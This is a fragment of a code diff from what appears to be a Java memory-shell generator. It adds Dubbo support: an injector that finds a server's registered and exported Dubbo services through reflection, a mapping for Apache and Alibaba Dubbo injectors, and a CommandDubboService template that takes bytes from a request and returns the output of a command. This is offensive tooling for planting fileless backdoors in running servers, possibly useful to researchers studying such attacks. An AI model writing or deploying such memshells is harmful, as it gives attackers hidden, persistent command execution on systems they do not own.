return resolveConfiguredProtocols(providerConfig, configManager, getRegisteredServices());
}
private List<ProtocolConfig> resolveConfiguredProtocols(ProviderConfig providerConfig, Object configManager, Collection<?> collection) {
return mergeProtocols(mergeProtocols(mergeProtocols(providerConfig == null ? null : providerConfig.getProtocols(), castProtocols(toList(invokeNoArgs(configManager, "getDefaultProtocols")))), castProtocols(toList(invokeNoArgs(configManager, "getProtocols")))), collectProtocolsFromServices(collection));
}
private List<ProtocolConfig> collectProtocolsFromServices(Collection<?> collection) {
List<ProtocolConfig> arrayList = new ArrayList<>();
if (collection != null) {
try {
for (Object service : collection) {
try {
arrayList.addAll(castProtocols(toList(invokeNoArgs(service, "getProtocols"))));
} catch (Exception e) {
}
}
} catch (Exception e2) {
}
}
try {
for (Object exportedProvider : getExportedProviders()) {
try {
Object objInvokeNoArgs = invokeNoArgs(exportedProvider, "getServiceConfig");
if (objInvokeNoArgs != null) {
arrayList.addAll(castProtocols(toList(invokeNoArgs(objInvokeNoArgs, "getProtocols"))));
}
} catch (Exception e3) {
}
}
} catch (Exception e4) {
}
return arrayList;
}
private Collection<?> getExportedProviders() {
try {
Object objInvoke = ApplicationModel.class.getMethod("getServiceRepository").invoke(null);
return (Collection) objInvoke.getClass().getMethod("getExportedServices").invoke(objInvoke);
} catch (Exception e) {
try {
Object objInvoke2 = ApplicationModel.class.getMethod("defaultModel").invoke(null);
Object objInvoke3 = objInvoke2.getClass().getMethod("getDefaultModule").invoke(objInvoke2);
Object objInvoke4 = objInvoke3.getClass().getMethod("getServiceRepository").invoke(objInvoke3);
return (Collection) objInvoke4.getClass().getMethod("getExportedServices").invoke(objInvoke4);
} catch (Exception e2) {
return new ArrayList<>();
}
}
}
private String resolveServiceAddresses(String str) {
String strNormalizePath = normalizePath(str);
Object objFindRegisteredService = DYNAMIC_SERVICES.get(strNormalizePath);
if (objFindRegisteredService == null) {
objFindRegisteredService = findRegisteredService(strNormalizePath);
}
if (objFindRegisteredService == null) {
return strNormalizePath;
}
List<?> listExtractExportedUrls = extractExportedUrls(objFindRegisteredService);
if (!listExtractExportedUrls.isEmpty()) {
return formatUrls(listExtractExportedUrls);
}
List<?> listResolveProtocols = resolveProtocols(objFindRegisteredService);
if (listResolveProtocols.isEmpty()) {
return strNormalizePath;
}
return formatProtocolAddresses(listResolveProtocols, strNormalizePath);
}
private Object findRegisteredService(String str) {
for (Object obj : getRegisteredServices()) {
if (str.equals(normalizePath(stringValue(invokeNoArgs(obj, "getPath"), "")))) {
return obj;
}
}
return null;
}
private List<?> extractExportedUrls(Object obj) {
List<?> list = toList(invokeNoArgs(obj, "getExportedUrls"));
if (!list.isEmpty()) {
return list;
}
List<?> list2 = toList(getFieldValue(obj, "exporters"));
if (list2.isEmpty()) {
return new ArrayList<>();
}
List<Object> arrayList = new ArrayList<>();
for (Object exporter : list2) {
Object objInvokeNoArgs = invokeNoArgs(invokeNoArgs(exporter, "getInvoker"), "getUrl");
if (objInvokeNoArgs != null) {
arrayList.add(objInvokeNoArgs);
}
}
return arrayList;
}
private List<?> resolveProtocols(Object obj) {
List<?> list = toList(invokeNoArgs(obj, "getProtocols"));
Object objInvokeNoArgs = invokeNoArgs(obj, "getProvider");
List<ProtocolConfig> listResolveConfiguredProtocols = resolveConfiguredProtocols(objInvokeNoArgs instanceof ProviderConfig ? (ProviderConfig) objInvokeNoArgs : null, resolveConfigManager());
return list.isEmpty() ? listResolveConfiguredProtocols : mergeProtocols(castProtocols(list), listResolveConfiguredProtocols);
}
private Object invokeNoArgs(Object obj, String str) {
if (obj == null) {
return null;
}
try {
return obj.getClass().getMethod(str).invoke(obj);
} catch (Exception e) {
return null;
}
}
private Object invokeStaticNoArgs(Class<?> cls, String str) {
try {
return cls.getMethod(str).invoke(null);
} catch (Exception e) {
return null;
}
}
private Object getFieldValue(Object obj, String str) {
if (obj == null) {
return null;
}
Class<?> superclass = obj.getClass();
while (true) {
Class<?> cls = superclass;
if (cls == null) {
return null;
}
try {
Field declaredField = cls.getDeclaredField(str);
declaredField.setAccessible(true);
return declaredField.get(obj);
} catch (Exception e) {
superclass = cls.getSuperclass();
}
}
}
private List<?> toList(Object obj) {
Object value = extractOptionalValue(obj);
if (value instanceof Collection) {
return new ArrayList<>((Collection<?>) value);
}
if (value instanceof Map) {
return new ArrayList<>(((Map<?, ?>) value).values());
}
return new ArrayList<>();
}
private Object extractOptionalValue(Object obj) {
if (obj instanceof Optional) {
return ((Optional<?>) obj).orElse(null);
}
return obj;
}
private Object firstElement(List<?> list) {
if (list.isEmpty()) {
return null;
}
return list.get(0);
}
private ProviderConfig castProviderConfig(Object obj) {
if (obj instanceof ProviderConfig) {
return (ProviderConfig) obj;
}
return null;
}
private ApplicationConfig castApplicationConfig(Object obj) {
if (obj instanceof ApplicationConfig) {
return (ApplicationConfig) obj;
}
return null;
}
private List<RegistryConfig> castRegistries(List<?> list) {
return list.stream()
.filter(RegistryConfig.class::isInstance)
.map(RegistryConfig.class::cast)
.collect(Collectors.toList());
}
private Object resolveConfigManager() {
Object objInvokeStaticNoArgs = invokeStaticNoArgs(ApplicationModel.class, "getConfigManager");
if (objInvokeStaticNoArgs != null) {
return objInvokeStaticNoArgs;
}
Object objInvokeStaticNoArgs2 = invokeStaticNoArgs(ApplicationModel.class, "defaultModel");
Object objInvokeNoArgs = invokeNoArgs(objInvokeStaticNoArgs2, "getDefaultModule");
return invokeNoArgs(objInvokeNoArgs, "getConfigManager");
}
private String formatUrls(List<?> list) {
return list.stream()
.map(this::formatUrl)
.collect(Collectors.joining(", "));
}
private String formatProtocolAddresses(List<?> list, String str) {
return list.stream()
.map(obj -> formatProtocolAddress(obj, str))
.collect(Collectors.joining(", "));
}
private String formatUrl(Object obj) {
String strStringValue = stringValue(invokeNoArgs(obj, "getProtocol"), "dubbo");
String strNormalizePath = normalizePath(stringValue(invokeNoArgs(obj, "getPath"), ""));
Integer numIntegerValue = integerValue(invokeNoArgs(obj, "getPort"));
return (numIntegerValue == null || numIntegerValue.intValue() <= 0) ? String.format("%s://%s/%s", strStringValue, DISPLAY_HOST, strNormalizePath) : String.format("%s://%s:%d/%s", strStringValue, DISPLAY_HOST, numIntegerValue, strNormalizePath);
}
private String formatProtocolAddress(Object obj, String str) {
String strStringValue = stringValue(invokeNoArgs(obj, "getName"), "dubbo");
Integer numIntegerValue = integerValue(invokeNoArgs(obj, "getPort"));
return (numIntegerValue == null || numIntegerValue.intValue() <= 0) ? String.format("%s://%s/%s", strStringValue, DISPLAY_HOST, str) : String.format("%s://%s:%d/%s", strStringValue, DISPLAY_HOST, numIntegerValue, str);
}
private String stringValue(Object obj, String str) {
return (!(obj instanceof String) || ((String) obj).isEmpty()) ? str : (String) obj;
}
private Integer integerValue(Object obj) {
if (obj instanceof Number) {
return Integer.valueOf(((Number) obj).intValue());
}
return null;
}
private List<ProtocolConfig> castProtocols(List<?> list) {
return list.stream()
.filter(ProtocolConfig.class::isInstance)
.map(ProtocolConfig.class::cast)
.collect(Collectors.toList());
}
private List<ProtocolConfig> mergeProtocols(Collection<ProtocolConfig> collection, Collection<ProtocolConfig> collection2) {
LinkedHashMap<String, ProtocolConfig> linkedHashMap = new LinkedHashMap<>();
addProtocols(linkedHashMap, collection);
addProtocols(linkedHashMap, collection2);
return new ArrayList<>(linkedHashMap.values());
}
private void addProtocols(Map<String, ProtocolConfig> map, Collection<ProtocolConfig> collection) {
if (collection == null) {
return;
}
for (ProtocolConfig protocolConfig : collection) {
if (protocolConfig != null) {
map.put(protocolKey(protocolConfig), protocolConfig);
}
}
}
private String protocolKey(ProtocolConfig protocolConfig) {
return String.valueOf(protocolConfig.getName()) + "|" + String.valueOf(protocolConfig.getHost()) + "|" + String.valueOf(protocolConfig.getPort()) + "|" + String.valueOf(protocolConfig.getServer()) + "|" + String.valueOf(protocolConfig.getId());
}
private String getErrorMessage(Throwable th) {
try (ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
PrintStream printStream = new PrintStream(byteArrayOutputStream)) {
th.printStackTrace(printStream);
return byteArrayOutputStream.toString();
} catch (IOException e) {
return String.valueOf(th);
}
}
}
@@ -0,0 +1,15 @@
package com.reajason.javaweb.memshell.server;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.memshell.injector.dubbo.AlibabaDubboServiceInjector;
import com.reajason.javaweb.memshell.injector.dubbo.ApacheDubboServiceInjector;
public class Dubbo extends AbstractServer {
@Override
public InjectorMapping getShellInjectorMapping() {
return InjectorMapping.builder()
.addInjector(ShellType.APACHE_DUBBO_SERVICE, ApacheDubboServiceInjector.class)
.addInjector(ShellType.ALIBABA_DUBBO_SERVICE, AlibabaDubboServiceInjector.class)
.build();
}
}
@@ -0,0 +1,5 @@
package com.reajason.javaweb.memshell.shelltool;
public interface ShellDubboService {
byte[] handle(byte[] bytes);
}
@@ -0,0 +1,75 @@
package com.reajason.javaweb.memshell.shelltool.command;
import java.io.ByteArrayOutputStream;
import java.io.InputStream;
import java.io.PrintStream;
import java.lang.reflect.Field;
import java.util.Scanner;
public class CommandDubboService {
public byte[] handle(byte[] bytes) {
if (bytes == null || bytes.length == 0) {
return new byte[0];
}
String p = new String(bytes);
String param = getParam(p);
try {
InputStream inputStream = getInputStream(param);
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
outputStream.write(new Scanner(inputStream).useDelimiter("\\A").next().getBytes());
outputStream.flush();
outputStream.close();
return outputStream.toByteArray();
} catch (Exception e) {
return getErrorMessage(e).getBytes();
}
}
private String getParam(String param) {
return param;
}
private InputStream getInputStream(String param) throws Exception {
return null;
}
@SuppressWarnings("all")
public Object unwrap(Object obj, String fieldName) {
try {
return getFieldValue(obj, fieldName);
} catch (Throwable e) {
return obj;
}
}
@SuppressWarnings("all")
public static Object getFieldValue(Object obj, String name) throws Exception {
Class<?> clazz = obj.getClass();
while (clazz != Object.class) {
try {
Field field = clazz.getDeclaredField(name);
field.setAccessible(true);
return field.get(obj);
} catch (NoSuchFieldException var5) {
clazz = clazz.getSuperclass();
}
}
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
}
@SuppressWarnings("all")
private String getErrorMessage(Throwable throwable) {
PrintStream printStream = null;
try {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
printStream = new PrintStream(outputStream);
throwable.printStackTrace(printStream);
return outputStream.toString();
} finally {
if (printStream != null) {
printStream.close();
}
}
}
}
@@ -145,7 +145,7 @@ public class CommonUtil {
+ "." + MIDDLEWARE_NAMES[new Random().nextInt(MIDDLEWARE_NAMES.length)] + shellType;
}
public static String getSimpleName(String injectorClassName) {
return injectorClassName.substring(injectorClassName.lastIndexOf(".") + 1);
public static String getSimpleName(String className) {
return className.substring(className.lastIndexOf(".") + 1);
}
}